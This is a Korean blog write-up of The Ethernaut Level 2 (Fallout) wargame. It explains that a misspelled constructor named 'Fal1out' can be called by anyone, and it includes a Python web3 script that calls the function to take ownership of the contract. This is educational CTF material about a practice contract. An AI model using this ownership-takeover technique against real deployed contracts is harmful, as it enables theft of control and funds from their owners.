One_Blog

The Ethernaut - Level 2 (Fal1Out) write up 본문

블록체인

The Ethernaut - Level 2 (Fal1Out) write up

0xOne 2023. 11. 6. 19:55
728x90

 

상당히 쉬운 문제다.

 

일단 코드는 다음과 같다.

솔리디티 이전 버전에선 컨트랙트와 동일한 이름의 함수를 만들면 해당 함수가 생성자의 역할을 대신 하곤 했다.

 

Fal1out함수도 위에 constructor까지 적어놓은 거보면 아마 그 생각으로 만들어놓은 것 같은데..

 

오타가 나서 컨트랙트 이름은 Fallout인데 함수명은 Fal1out이 되어버렸다.

 

그래서 그냥 호출이 가능하다.

 

from web3 import Web3, utils
import json
from solc import *
import time
account_address = 'REDACTED'
private_key = 'REDACTED'
contract_address = 'REDACTED'
w3 = Web3(Web3.HTTPProvider('REDACTED'))

PA=w3.eth.account.from_key(private_key)
Public_Address=PA.address
print("Gas Price : ",w3.eth.gas_price)
contract_abi = [
  {
    "inputs": [],
    "stateMutability": "payable",
    "type": "function",
    "name": "Fal1out",
    "payable": True
  }
]
contract = w3.eth.contract(address=contract_address, abi=contract_abi)
func_call = contract.functions["Fal1out"]().build_transaction({
        "from": Public_Address,
        "nonce": w3.eth.get_transaction_count(Public_Address),
        "value":1000000000000,
        "gasPrice": w3.eth.gas_price,
        "chainId": w3.eth.chain_id,
    })

signed_txn = w3.eth.account.sign_transaction(func_call, private_key)
tx_hash = w3.eth.send_raw_transaction(signed_txn.rawTransaction)


print(f'Transaction sent with hash: {tx_hash.hex()}')
txn_receipt = w3.eth.wait_for_transaction_receipt(tx_hash)
print(f'Transaction receipt: {txn_receipt}')

다음과 같은 코드를 실행하게 되면 Fallout컨트랙트의 Fal1out함수를 호출하게 되고,

 

자연스럽게 함수를 호출한 우리가 직접적으로 owner가 된다.

 

문제에서 요구하는 것은 컨트랙트의 owner가 되는 것이었으니,

 

해당 코드를 정상 동작 시킨 후 인스턴스를 제출하게 되면

 

매우 ez하게 문제를 풀 수 있다.

 

gg

from 감펩님